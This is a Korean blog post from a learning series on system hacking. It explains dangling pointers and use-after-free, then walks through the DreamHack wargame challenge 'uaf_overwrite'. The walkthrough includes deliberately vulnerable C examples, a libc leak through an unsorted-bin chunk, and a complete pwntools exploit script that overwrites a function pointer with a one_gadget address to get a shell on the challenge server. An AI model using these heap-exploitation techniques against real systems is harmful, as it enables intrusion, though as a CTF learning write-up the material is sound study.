CIDY
[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite) 본문
[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite)
CIDY 2022. 7. 7. 04:27*Dangling Pointer
유효하지 않은 메모리 영역을 가리키는 포인터이다. 만약 malloc으로 동적할당 해준 이후 free로 할당했던 공간을 반환해줬다고 하자. (ptmalloc에 반환) -> 해당 청크의 주소를 담은 포인터를 초기화시키는건 아님
예를들어, int* ptr = (int *)malloc(0x70); 해준 뒤 free(ptr); 해줬다고 하자 -> 0x70만큼의 공간은 할당 해제되었지만 ptr은 여전히 malloc이 반환했던 주소를 갖고 있고, 또다시 free(ptr)해줄 수 있음 -> Double Free Bug 발생 가능.
*Use After Free
말 그대로 free된 메모리에 접근 가능한 취약점을 말한다. malloc과 free는 할당하거나 해제한 메모리의 데이터를 따로 초기화하지는 않는다 -> 프로그래머는 할당한 공간을 명시적으로 초기화 할 필요가 있음. -> 만약 초기화 해주지 않을 경우, 메모리에 남아있던 데이터를 이용할 가능성 발생.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct NameTag {
char team_name[16];
char name[32];
void (*func)();
};
struct Secret {
char secret_name[16];
char secret_info[32];
long code;
};
int main() {
int idx;
struct NameTag *nametag;
struct Secret *secret;
secret = malloc(sizeof(struct Secret));
strcpy(secret->secret_name, "ADMIN PASSWORD");
strcpy(secret->secret_info, "P@ssw0rd!@#");
secret->code = 0x1337;
free(secret);
secret = NULL;
nametag = malloc(sizeof(struct NameTag));
strcpy(nametag->team_name, "security team");
memcpy(nametag->name, "S", 1);
printf("Team Name: %s\n", nametag->team_name);
printf("Name: %s\n", nametag->name);
if (nametag->func) {
printf("Nametag function: %p\n", nametag->func);
nametag->func();
}
}
이 코드는 이전에 secret할당 시 입력해준 값이 그대로 남아있는 것을 확인할 수 있는 부분이다.
왜 그렇게 되냐? 우선 두 구조체의 size가 같다. ptmalloc2는 할당 요청이 들어왔을 때, 요청된 크기와 비슷한 청크가 bin이나 tcache에 있는지 확인한다. -> 있으면 재사용 -> secret해제 후 초기화되지 않은 공간을 nametag가 바로 재사용한 것.
*heap 명령으로 gdb에서 할당 및 해제된 청크들의 정보를 조회할 수 있다.
*예제
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
보면 알겠지만 human과 robot의 구조체 사이즈가 같다. 따라서 human함수에서 먼저 동적할당 후 long에 원가젯의 주소를 보내준 뒤, robot함수로 넘어가면 된다고 생각해볼 수 있다.
근데 일단 뭘 할려면 릭부터 해야 하는데, 릭은 어떻게 할 수 있을까? -> unsorted bin의 특징을 이용할 수 있다.
unsorted binn에 처음 연결되는 메모리 공간은 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다. -> 처음 unsorted bin에 연결되는 청크의 fd와 bk에는 libc내부 주소가 쓰인다. -> unsorted bin에 연결된 청크를 재할당하고 fd나 bk값을 읽어 libc가 매핑된 주소를 계산 가능하다.
(*fd와 bk를 이용하기 위해서는 ptmalloc2에 의한 동적 할당 체계를 알아야 한다. 혹시 모를 경우 아래 참고 ↓)
https://orcinus-orca.tistory.com/55
커스텀 함수에서 0x100이상의 청크를 할당 및 해제할 수 있는데, 0x410이하의 크기를 갖는 청크는 free후 bin말고 tcache에 먼저 삽입된다. -> 그러니까 그것보다 더 큰 크기의 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당해서 값을 읽어오면 된다.
단, 해제할 청크가 탑 청크와 맞닿아 있으면 안됨. unsorted bin에 포함되는 청크와 탑청크는 병합 대상 -> 걔네둘이 붙어있으면 청크 병합됨 -> 청크 두 개를 연속으로 할당하고 처음 할당한 청크를 해제해야 함!
설명이 좀 부족한 것 같은데.. small bin크기 이상의 힙 청크를 해체하면 unsorted bin에 들어간다. -> unsorted bin의 fd, bk에는 보통 main_arena + 88같은 main_arena영역의 주소가 들어간다. -> 그 영역이 립시꺼라 립시릭해올 수 있는 것.
근데 심볼에 main_arena + 88이 없는데, 이게 64비트에서 __malloc_hook과 딱 0x10차이라고 해서
main_arena = u64(p.recvline()[:-1].ljust(8, b"\x00"))
libc_base = main_arena - e.libc.sym['__malloc_hook'] - 0x10 + 0x3e
이렇게 해 줬다. 저 0x3e가 뭐냐면 뒷 두자리는 내가 보내준 값으로 오버라이트돼서 대충 맞춰준거다.
라이브러리 매핑 위치를 보면 릭 잘 됐음.
근데 또 원격으로 오프셋 찾아줄 거 생각하니까 화가난다ㅎㅎ
from pwn import *
p = remote("host3.dreamhack.games", 19957)
#p = process("./uaf")
e = ELF("./uaf_overwrite")
libc = ELF("./libc-2.27.so")
def custom(size, data, idx):
p.sendlineafter(b">", b"3")
p.sendlineafter(b": ", str(size))
p.sendafter(b": ", data)
p.sendlineafter(b": ", str(idx))
def human(weight, age):
p.sendlineafter(b">", b"1")
p.sendlineafter(b": ", str(weight))
p.sendlineafter(b": ", str(age))
def robot(weight):
p.sendlineafter(b">", b"2")
p.sendlineafter(b": ", str(weight))
custom(0x500, b"AAAA", 100)
custom(0x500, b"AAAA", 100) #동시에 두 개 할당(idx = -1이면 해제하지 않음)
custom(0x500, b"AAAA", 0) #처음 할당한 거 해제
custom(0x500, b"B", 100) #재할당
main_arena = u64(p.recvline()[:-1].ljust(8, b"\x00"))
libc_base = main_arena - libc.sym['__malloc_hook'] - 0x10 - 0x2
print(hex(libc_base))
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]
oneshot = libc_base + one_gadget[2]
#pause()
human(1 , oneshot)
robot(1)
p.interactive()
그래도 금방 찾았음.
드림핵 문제풀이 따라가면서 함수별로 함수 정의했는데 이게 편한듯..
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage12_Double Free Bug (0) | 2022.07.08 |
---|---|
[System_Hacking] stage12_ptmalloc2 (0) | 2022.07.08 |
[System_Hacking] stage10_문제풀이(basic_exploitation_003) (0) | 2022.07.07 |
[System_Hacking] stage10_문제풀이(basic_exploitation_002) (0) | 2022.07.07 |
[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이) (0) | 2022.07.04 |